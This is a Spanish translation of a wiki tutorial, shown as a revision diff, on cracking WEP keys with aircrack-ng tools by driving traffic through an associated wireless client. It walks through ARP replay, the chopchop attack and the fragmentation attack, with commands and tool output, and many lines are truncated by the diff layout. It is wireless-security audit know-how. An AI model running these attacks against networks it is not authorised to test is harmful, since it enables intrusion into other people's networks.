es:how_to_crack_wep_via_a_wireless_client
no way to compare when less than two revisions
Diferencias
Muestra las diferencias entre dos versiones de la página.
— | es:how_to_crack_wep_via_a_wireless_client [2009/08/14 18:22] (actual) – creado mister_x | ||
---|---|---|---|
Línea 1: | Línea 1: | ||
+ | ====== Tutorial: | ||
+ | Version: 1.15 Junio 9, 2007 \\ | ||
+ | By: darkAudax \\ | ||
+ | Traducción: | ||
+ | \\ | ||
+ | Archivo usado en este tutorial: [[http:// | ||
+ | |||
+ | ===== Introducción ===== | ||
+ | Durante mucho tiempo se discutió como usar una tarjeta wireless para generar paquetes con los que obtener la clave WEP de un punto de acceso. Este tutorial describe 4 procedimientos con ejemplos sobre como hacer esto. Los ejemplos provienen de hechos reales y no son solo teoría. | ||
+ | |||
+ | La idea básica es usar la tarjeta wireless como cliente para generar paquetes de datos con IVs, que podremos usar para obtener la clave WEP. Normalmente el punto de acceso genera paquetes de datos con IVs; entonces ¿por qué necesitamos asociar un cliente wireless al punto de acceso? Aquí están unas pocas razones: | ||
+ | |||
+ | * Algunos puntos de acceso generan IVs con un tamaño max de 130k | ||
+ | * Algunos puntos de acceso imponen controles Cliente-a-cliente | ||
+ | * Existencia de filtrado MAC | ||
+ | * Puntos de acceso que no generan IVs débiles (weak IVs) | ||
+ | * No puedes hacer una falsa asociación de forma exitosa | ||
+ | * Tu estás cerca de un cliente pero muy lejos del punto de acceso, de forma que es inalcanzable. | ||
+ | |||
+ | Me gustaría dar las gracias al equipo de desarrollo de la suite aircrack-ng por crear estás herramientas tan potentes. | ||
+ | |||
+ | Por favor enviame cualquier mensaje constructivo, | ||
+ | |||
+ | ===== Solución ===== | ||
+ | ====Puntos de partida en este tutorial==== | ||
+ | |||
+ | * Tienes una tarjeta wireless con las mismas características que el cliente habitual. Por ejemplo G y G, A y A. No sirve una tarjeta B si el cliente tiene una tarjeta G. Etc... | ||
+ | * Tienes airodump-ng instalado correctamente. | ||
+ | * Tu tarjeta wireless está instalada y puede inyectar paquetes. | ||
+ | * Estás físicamente suficientemente cerca del cliente habitual para enviarle paquetes a él y recibirlos de él. | ||
+ | * Tienes Wireshark instalado. | ||
+ | * Estás usando la versión estable 0.9 de aircrack-ng. | ||
+ | |||
+ | En los ejemplos, la opción "doble guión bssid" se muestra como "- -bssid" | ||
+ | |||
+ | |||
+ | ====Equipo usado==== | ||
+ | |||
+ | ===Cliente wireless habitual=== | ||
+ | Sistema operativo: | ||
+ | Dirección MAC: 00: | ||
+ | |||
+ | ===Punto de acceso=== | ||
+ | ESSID: teddy (no es importante) \\ | ||
+ | Dirección MAC: 00: | ||
+ | Canal: 9 | ||
+ | |||
+ | ===Sistema con Aircrack-ng=== | ||
+ | Sistema operativo: Linux \\ | ||
+ | Dirección MAC: cualquiera | ||
+ | |||
+ | ===Tarjeta Ethernet Estación de trabajo=== | ||
+ | Sistema operativo: Linux \\ | ||
+ | Dirección MAC: 00: | ||
+ | |||
+ | ===Tarjeta Ethernet Estación de trabajo=== | ||
+ | Sistema operativo: Linux \\ | ||
+ | Dirección MAC: 00: | ||
+ | |||
+ | ===Tarjeta Wireless Estación de trabajo=== | ||
+ | Sistema operativo: Linux \\ | ||
+ | Dirección MAC: 00: | ||
+ | |||
+ | |||
+ | ==== Escenarios ==== | ||
+ | |||
+ | Este tutorial cubre cuatro escenarios: | ||
+ | * Escenario Uno: Empleando paquetes de datos capturados. | ||
+ | * Escenario Dos: Empleo interactivo de paquetes en tiempo real | ||
+ | * Escenario Tres: Creando un paquete de un ataque chopchop | ||
+ | * Escenario Cuatro: Creando un paquete de un ataque de fragmentación | ||
+ | |||
+ | Entremos ahora en detalles... | ||
+ | \\ | ||
+ | \\ | ||
+ | ===Escenario Uno - Empleando paquetes de datos capturados=== | ||
+ | |||
+ | Vamos a usar un paquete de datos capturado. Suponemos que estuviste ejecutando airodump-ng y capturaste paquetes del punto de acceso y piensas que tienes algunos arps que podrías usar para inyectarlos. | ||
+ | |||
+ | Los paquetes ARP no son los únicos que podemos usar. Pero nos centramos en estos porque son los que garantizan que tengamos éxito y además son los más fáciles de encontrar en un archivo de capturas. Decimos que los ARPs nos garantizan el éxito porque el cliente debe responder a una petición arp (arp request) directamente. Recuerda que no es cualquier ARP. Debe ser un ARP para el cliente específico al que queremos atacar. | ||
+ | |||
+ | Primero, tenemos que haber capturado paquetes del punto de acceso en cuestión. Para reducir el tamaño, podíamos haber usado el filtro BSSID y especificar el canal. En nuestro ejemplo: | ||
+ | |||
+ | airodump-ng --channel 9 --bssid 00: | ||
+ | |||
+ | Necesitaremos uno o más clientes wireless activos mientras hacemos la captura. Si no hay actividad ninguna, será imposible que capturemos algún paquete de datos. Mientras estamos capturando datos, podemos copiar el archivo para analizarlo mientras la captura continua. Tambien podemos ejecutar WireShark en tiempo real y ver los paquetes tan pronto como nos llegan. | ||
+ | |||
+ | Ahora el objetivo es encontrar un paquete ARP del punto de acceso a un cliente. | ||
+ | |||
+ | Características del paquete que buscamos: | ||
+ | * BSSID: punto de acceso | ||
+ | * Dirección MAC de destino: Broadcast (FF: | ||
+ | * Dirección MAC origen: cualquiera | ||
+ | * Longitud del paquete: 68 o 86 (68 es habitual en los paquetes arp originados por los clientes wireless. | ||
+ | |||
+ | Características del paquete "de salida" | ||
+ | * BSSID: punto de acceso | ||
+ | * Dirección MAC de destino: si es la MAC de origen del paquete de entrada significa que el cliente le está contestando. | ||
+ | * Dirección MAC origen: Dirección MAC del cliente | ||
+ | * Longitud del paquete: 68 o 86 (68 es habitual en los paquetes arp originados por los clientes wireless. | ||
+ | |||
+ | Resumiendo, buscamos un "ARP request" | ||
+ | |||
+ | Para ello introducimos el siguiente filtro en Wireshark: | ||
+ | (wlan.bssid == 00: | ||
+ | |||
+ | Esto selecciona los paquetes que salen o llegan al punto de acceso y que tienen una longitud entre 68 y 86 inclusive. | ||
+ | |||
+ | Tendrás que cambiar el " | ||
+ | |||
+ | Una vez que tengas localizados los paquetes, puedes usar otro filtro para reducir la búsqueda a un cliente específico: | ||
+ | (wlan.bssid == 00: | ||
+ | |||
+ | Cambia el valor de " | ||
+ | |||
+ | Resumiendo, estamos buscando un "ARP request" | ||
+ | |||
+ | Aquí ponemos un resumen de que paquetes se trata. | ||
+ | |||
+ | * 391 - Este es un "arp request" | ||
+ | * 416 - Este es un nuevo "arp request" | ||
+ | * 417 - Esta es la respuesta. El cliente envia un "arp response" | ||
+ | * 501 - Un cliente wireless envia un "arp request" | ||
+ | * 503 - El AP reenvia el "arp request" | ||
+ | * 504 - El cliente envia la respuesta o "arp response" | ||
+ | * 506 - Este es el "ARP response" | ||
+ | |||
+ | Los dos posibles paquetes que podemos usar son 416 o 503. Puedes escoger cualquiera de los dos. El 503 es mejor puesto que genera dos paquetes por cada uno que nosostros inyectemos: La respuesta del cliente al AP y la del AP al cliente wireless. Básicamente doblarás la velocidad (rate) de inyección. Para la gente que pregunta como incrementar la velocidad de inyección, esta es una técnica. | ||
+ | |||
+ | Una vez que has encontrado uno o mas de estos paquetes haz click derecho y márcalo (Mark packet). Despues vas al menu " | ||
+ | |||
+ | Recuerda que no tenemos garantizado totalmente que el paquete seleccionado funcione. Solo es un candidato seleccionado basado en nuestra observación. Puede que necesites probar un poco con otros paquetes para conseguir que funcione. | ||
+ | |||
+ | Reinicia la captura de paquetes si todavía no está funcionando: | ||
+ | |||
+ | airodump-ng --channel 9 --bssid 00: | ||
+ | |||
+ | Cerciórate de que no usas la opción "- -ivs" si quieres utilizar más adelante el método PTW con aircrack-ng (aircrack-ng -z). El método PTW requiere los paquetes enteros y solo funciona con ARPs. Ahora usa el ataque de inyección interactivo en otra consola: | ||
+ | |||
+ | aireplay-ng -2 -r dsarprequests.cap ath0 | ||
+ | |||
+ | De esta forma estás enviando el "ARP requests" | ||
+ | |||
+ | |||
+ | ===Escenario Dos - Empleo interactivo de paquetes en tiempo real=== | ||
+ | |||
+ | En este escenario vamos a hacer la captura y la inyección al mismo tiempo. | ||
+ | |||
+ | Primero, comienza a capturar paquetes que emite o recibe el punto de acceso en cuestión. | ||
+ | |||
+ | airodump-ng --channel 9 --bssid 00: | ||
+ | |||
+ | Ahora abre una segunda consola para iniciar la inyección interactiva: | ||
+ | |||
+ | aireplay-ng -2 -b 00: | ||
+ | |||
+ | Tendrás que cambiar " | ||
+ | |||
+ | Las características del paquete que estamos buscando son: | ||
+ | * BSSID: punto de acceso | ||
+ | * Dirección MAC de destino: Broadcast (FF: | ||
+ | * Dirección MAC de origen (Source MAC): cualquiera | ||
+ | * Dirección: desde el punto de acceso | ||
+ | * Tamaño del paquete (Size): 68 o 86 (68 es lo habitual para paquetes arp originados por clientes wireless. | ||
+ | |||
+ | Las otras opciones que añadimos al comando son: | ||
+ | * -d ff: | ||
+ | * -f 1 (significa que solo nos enseñe paquetes que salen del punto de acceso) | ||
+ | |||
+ | Aquí ponemos un ejemplode un paquete que deberíamos seleccionar: | ||
+ | |||
+ | Read 210 packets... | ||
+ | | ||
+ | Size: 68, FromDS: 1, ToDS: 0 (WEP) | ||
+ | | ||
+ | | ||
+ | Dest. MAC = FF: | ||
+ | Source MAC = 00: | ||
+ | | ||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | | ||
+ | Use this packet ? | ||
+ | |||
+ | Recuerda que necesitarás probar algunos paquetes para conseguir que funcione. El ARP debe ser de un cliente wireless. Una vez que estes inyectando paquetes y tengas suficientes, | ||
+ | |||
+ | === Escenario Tres - Creando un paquete de un ataque chopchop === | ||
+ | |||
+ | Primero necesitamos generar el archivo xor. Este archivo nos da la posibilidad de crear nuevos paquetes encriptados para inyectarlos. | ||
+ | |||
+ | Puedes ejecutar el siguiente comando y seleccionar un paquete de un tamaño adecuado. | ||
+ | |||
+ | Run " | ||
+ | |||
+ | Cambia -h por la dirección MAC del cliente asociado con el AP. Puedes tambien hacer una falsa autenticación y usar esta MAC. Es solo porque es más simple usar una MAC ya asociada al AP. | ||
+ | |||
+ | Aunque este ejemplo es de un "arp request", | ||
+ | |||
+ | Size: 86, FromDS: 1, ToDS: 0 (WEP) | ||
+ | | ||
+ | | ||
+ | Dest. MAC = FF: | ||
+ | Source MAC = 00: | ||
+ | | ||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | | ||
+ | Use this packet ? y | ||
+ | | ||
+ | Saving chosen packet in replay_src-1231-132955.cap | ||
+ | | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Offset | ||
+ | Sent 969 packets, current guess: C5... | ||
+ | | ||
+ | The AP appears to drop packets shorter than 35 bytes. | ||
+ | Enabling standard workaround: ARP header re-creation. | ||
+ | | ||
+ | Warning: ICV checksum verification FAILED! | ||
+ | | ||
+ | Saving plaintext in replay_dec-1231-133021.cap | ||
+ | Saving keystream in replay_dec-1231-133021.xor | ||
+ | | ||
+ | Completed in 22s (2.18 bytes/s) | ||
+ | |||
+ | Despues mira el paquete desencriptado con Wireshark o tcpdump para conseguir la información sobre la IP que necesitamos. Si no sabes como hacerlo, mira el ejemplo a continuación. En este caso, hemos tenido suerte y conseguimos la IP del cliente wireless. Puede que tengas que probar unos cuantos paquetes para conseguir la IP del cliente wireless. | ||
+ | |||
+ | tcpdump -n -vvv -e -s0 -r replay_dec-1231-133021.cap | ||
+ | reading from file replay_dec-1231-133021.cap, | ||
+ | 13: | ||
+ | |||
+ | Ahora tenemos la IP del cliente wireless y podemos usar el archivo xor para crear un paquete ARP. Asegurate completamente de que incluyes las opciones -j y -o. | ||
+ | |||
+ | Como estás usando la versión 0.9 entonces el comando adecuado es: | ||
+ | |||
+ | packetforge-ng --arp -a 00: | ||
+ | |||
+ | * -a 00: | ||
+ | * -c 00: | ||
+ | * -h 00: | ||
+ | * -l 192.168.55.109 | ||
+ | * -k 192.168.55.51 | ||
+ | * -y replay_dec-1231-133021.xor | ||
+ | * -j fija el bit de " | ||
+ | * -o elimina el bit de " | ||
+ | |||
+ | Este comando es correcto para la versión 0.6.2. Había un bug en la versión 0.6.2 que consistia en que las opciones -k y -l estaban intercambiadas. | ||
+ | |||
+ | packetforge-ng --arp -a 00: | ||
+ | |||
+ | Despues de crear el paquete, usa tcpdump para revisarlo. Mira a continuación, | ||
+ | |||
+ | tcpdump -n -vvv -e -s0 -r arpforge.cap | ||
+ | reading from file arpforge.cap, | ||
+ | 13: | ||
+ | |||
+ | Como estás probando con tu propio AP (si no es así NO CONTINUES), desencripta el paquete y asegurate de que es correcto. | ||
+ | |||
+ | Desencripta el paquete con: airdecap-ng -e teddy -w <put your WEP key here> arpforge.cap | ||
+ | Echale un vistazo al paquete desencriptado: | ||
+ | Debería aparecer algo como esto: | ||
+ | reading from file arpforge-dec.cap, | ||
+ | 16: | ||
+ | |||
+ | Parece que está bien, ya que sabemos que nuestro cliente tiene la IP 192.168.55.109 y queremos capturar un "arp request" | ||
+ | |||
+ | Por lo tanto, ahora inyectamos el paquete: | ||
+ | |||
+ | aireplay-ng -2 -r arpforge.cap ath0 | ||
+ | |||
+ | En este punto, debeías ser capaz de generar paquetes de datos para usarlos con aircrack-ng y obtener la clave WEP. | ||
+ | |||
+ | |||
+ | ===Escenario Cuatro: Creando un paquete de un ataque de fragmentación=== | ||
+ | |||
+ | El ataque de fragmentación es básicamente lo mismo que el chopchop. La única diferencia es que usamos el ataque de fragmentación para obtener el archivo xor en lugar de la técnica chopchop. | ||
+ | |||
+ | Primero, necesitas usar la dirección MAC de un cliente asociado al AP o hacer una autenticación falsa. | ||
+ | |||
+ | Uno de los desafios es determinar que IP usamos en el comando " | ||
+ | |||
+ | Sobra decir, que hay un truco que funciona en la mayoría de los APs. Usa una IP 255.255.255.255. | ||
+ | |||
+ | Hay algunos problemas de hardware con el ataque de fragmentación: | ||
+ | * No está soportado por los chipsets prism | ||
+ | * Chipsets Atheros: | ||
+ | * Funciona muy bien con los chipsets ralink y realtek. | ||
+ | * Echale un vistazo a los foros para más información sobre compatibilidad. | ||
+ | |||
+ | Aquí está el comando a ejecutar: | ||
+ | |||
+ | aireplay-ng -5 -b 00: | ||
+ | |||
+ | Waiting for a data packet... | ||
+ | | ||
+ | Size: 144, FromDS: 1, ToDS: 0 (WEP) | ||
+ | | ||
+ | | ||
+ | Dest. MAC = 00: | ||
+ | Source MAC = 00: | ||
+ | | ||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | 0x0060: | ||
+ | 0x0070: | ||
+ | 0x0080: | ||
+ | | ||
+ | Use this packet ? | ||
+ | |||
+ | Contesta " | ||
+ | |||
+ | Saving chosen packet in replay_src-0113-170504.cap | ||
+ | Data packet found! | ||
+ | Sending fragmented packet | ||
+ | Got RELAYED packet!! | ||
+ | Thats our ARP packet! | ||
+ | Trying to get 384 bytes of a keystream | ||
+ | Got RELAYED packet!! | ||
+ | Thats our ARP packet! | ||
+ | Trying to get 1500 bytes of a keystream | ||
+ | Got RELAYED packet!! | ||
+ | Thats our ARP packet! | ||
+ | Saving keystream in fragment-0113-170526.xor | ||
+ | Now you can build a packet with packetforge-ng out of that 1500 bytes keystream | ||
+ | |||
+ | Bingo! | ||
+ | |||
+ | A partir de aquí el proceso es idéntico al del ataque chopchop. El gran problema es conocer la dirección IP para usarla. Como mencionamos antes hay varias posibilidades, | ||
es/how_to_crack_wep_via_a_wireless_client.txt · Última modificación: 2009/08/14 18:22 por mister_x